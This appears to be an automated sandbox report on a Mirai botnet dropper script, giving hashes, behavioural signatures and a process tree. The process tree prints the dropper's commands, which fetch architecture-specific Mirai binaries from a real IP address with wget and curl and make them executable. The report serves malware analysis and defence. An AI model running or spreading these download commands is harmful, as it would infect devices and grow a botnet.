Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/03/2025, 12:13

General

  • Target

    ohsitsvegawellrip.sh

  • Size

    3KB

  • MD5

    bd5e291801c56bce037d4222db8048a8

  • SHA1

    604dbdedf1611a4e40546cb19455c5d49bdd2537

  • SHA256

    75c2685fac6f7d0eb80f04d174e8977d0363398e9c2852b1939d9951606331c5

  • SHA512

    5cfc3d4e72d492e24418106f2713525e544be0bd47342f59ce7d3beba59f59a2540bfab00b6a219df644840911bf4144cabcc4111b989afdbd7b1e520e2ffa07

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (15046) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 37 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 15 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohsitsvegawellrip.sh
    /tmp/ohsitsvegawellrip.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Enumerates active TCP sockets
    • Reads process memory
    • Changes its process name
    • Reads system network configuration
    • Reads runtime system information
    • System Network Configuration Discovery
    • Writes file to tmp directory
    PID:1474
    • /usr/bin/wget
      wget http://196.251.86.49/bins/k03ldc.x86
      2⤵
      • Writes file to tmp directory
      PID:1475
    • /usr/bin/curl
      curl -O http://196.251.86.49/bins/k03ldc.x86
      2⤵
      • Writes file to tmp directory
      PID:1479
    • /bin/cat
      cat k03ldc.x86
      2⤵
        PID:1480
      • /bin/chmod
        chmod +x config-err-G4apKo k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
        2⤵
        • File and Directory Permissions Modification
        PID:1481
      • /usr/bin/wget
        wget http://196.251.86.49/bins/k03ldc
        2⤵
          PID:1485
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:1489
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.mips k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
          2⤵
          • File and Directory Permissions Modification
          PID:1500
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1512
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.mpsl
          2⤵
          • Writes file to tmp directory
          PID:1516
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
          2⤵
          • File and Directory Permissions Modification
          PID:1518
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.arm
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.arm
          2⤵
          • Writes file to tmp directory
          PID:1526
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
          2⤵
          • File and Directory Permissions Modification
          PID:1528
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.arm5
          2⤵
          • Writes file to tmp directory
          PID:1532
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.arm5
          2⤵
          • Writes file to tmp directory
          PID:1536
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
          2⤵
          • File and Directory Permissions Modification
          PID:1538
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.arm6
          2⤵
          • Writes file to tmp directory
          PID:1542
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.arm6
          2⤵
          • Writes file to tmp directory
          PID:1546
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
          2⤵
          • File and Directory Permissions Modification
          PID:1548
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.arm7
          2⤵
          • Writes file to tmp directory
          PID:1552
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.arm7
          2⤵
          • Writes file to tmp directory
          PID:1556
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-up6Owx
          2⤵
          • File and Directory Permissions Modification
          PID:1558
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.ppc
          2⤵
          • Writes file to tmp directory
          PID:1564
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.ppc
          2⤵
          • Writes file to tmp directory
          PID:1568
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1570
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.m68k
          2⤵
          • Writes file to tmp directory
          PID:1574
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.m68k
          2⤵
          • Writes file to tmp directory
          PID:1578
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1580
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.sh4
          2⤵
          • Writes file to tmp directory
          PID:1584
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.sh4
          2⤵
          • Writes file to tmp directory
          PID:1588
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1590
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.spc
          2⤵
          • Writes file to tmp directory
          PID:1594
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.spc
          2⤵
          • Writes file to tmp directory
          PID:1598
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1600
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.arc
          2⤵
          • Writes file to tmp directory
          PID:1604
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.arc
          2⤵
          • Writes file to tmp directory
          PID:1608
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1610
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1614
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.x86_64
          2⤵
          • Writes file to tmp directory
          PID:1618
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1620
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.i686
          2⤵
          • Writes file to tmp directory
          PID:1624
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.i686
          2⤵
          • Writes file to tmp directory
          PID:1628
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1630
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc.i486
          2⤵
          • Writes file to tmp directory
          PID:1634
        • /usr/bin/curl
          curl -O http://196.251.86.49/bins/k03ldc.i486
          2⤵
          • Writes file to tmp directory
          PID:1638
        • /bin/chmod
          chmod +x config-err-G4apKo k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i486 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream netplan_iqgixu2l ohsitsvegawellrip.sh snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY
          2⤵
          • File and Directory Permissions Modification
          PID:1640

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • /tmp/k03ldc.x86

        Filesize

        53KB

        MD5

        24356e787f328a42cc9ea7ec243e9814

        SHA1

        a3ef01ab629812d31fd18f35a0414a464e832f39

        SHA256

        129a3f3ab60b25f8cc9ccb21136710f486cdf8269f0b3c67ef44f88cecd107ac

        SHA512

        0a05e80260cbe65030dd70448d6951c4f9d6f8e1a3a47b33cf13c64a3dfdc302f6a50f5322cf094e167744dc2b29c03905d9386e4870069b59b5588396c0c5dd